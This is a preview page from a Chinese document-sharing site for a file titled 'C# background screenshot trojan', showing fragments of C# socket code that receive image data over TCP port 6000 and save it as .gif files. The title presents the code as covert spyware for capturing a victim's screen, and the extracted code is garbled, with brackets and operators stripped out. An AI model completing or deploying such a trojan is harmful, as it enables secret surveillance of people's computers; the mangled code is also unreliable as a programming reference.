c#后台截屏木马

上传人:自*** 文档编号:80225920 上传时间:2019-02-19 格式:DOC 页数:8 大小:48.50KB
返回 下载 相关 举报
c#后台截屏木马_第1页
第1页 / 共8页
c#后台截屏木马_第2页
第2页 / 共8页
c#后台截屏木马_第3页
第3页 / 共8页
c#后台截屏木马_第4页
第4页 / 共8页
c#后台截屏木马_第5页
第5页 / 共8页
点击查看更多>>
资源描述

《c#后台截屏木马》由会员分享,可在线阅读,更多相关《c#后台截屏木马(8页珍藏版)》请在金锄头文库上搜索。

1、using System;using System.Collections.Generic;using System.Text;using System.Net.Sockets;using System.Net;using System.Threading;using System.IO;namespace socketDemo class Client TcpClient client; long fileLength; BinaryReader reader; byte data = new byte8192; /准备工作 public Client(IPAddress serverIp)

2、 int port = 6000; int port1; int.TryParse(DateTime.Now.ToShortDateString().Replace(-, ).Substring(2), out port1); client = new TcpClient(); client.Connect(serverIp, port); Console.WriteLine(连上了); NetworkStream stream = client.GetStream(); reader = new BinaryReader(stream); /接收数据 public void recv() F

3、ileStream fs = File.Create(DateTime.Now.Ticks + .gif); byte fileLengthSrc = new byte8; try reader.Read(fileLengthSrc, 0, 8); long fileLength = getNum(fileLengthSrc); long reds = 0;/已经读取字节数 /开始传输 while (reds data.Length) int red = reader.Read(data, 0, data.Length); if (red = 0) break; fs.Write(data,

4、0, red); reds += red; else if (fileLength - reds 0) int red = reader.Read(data, 0, data.Length); if (red = 0) break; fs.Write(data, 0, red); reds += red; Thread.Sleep(10); catch (Exception ex) Console.WriteLine(数据传输异常或者服务端已离线: + ex.Message); fs.Flush(); fs.Close(); reader.Close(); client.Close(); static long getNum(byte bytes)/二进制转十进制(我帖子里留言那位兄弟滴代码很牛x _) /long型数据类型为字节 long num = 0; int n = Math.Min(bytes.Length, 4) - 1; for (int i = n; i -1; i-) num = (num 8) | bytesi;/num = (num 0) writer.Write(data, 0, reds); total += reds;

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 办公文档 > 其它办公文档

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号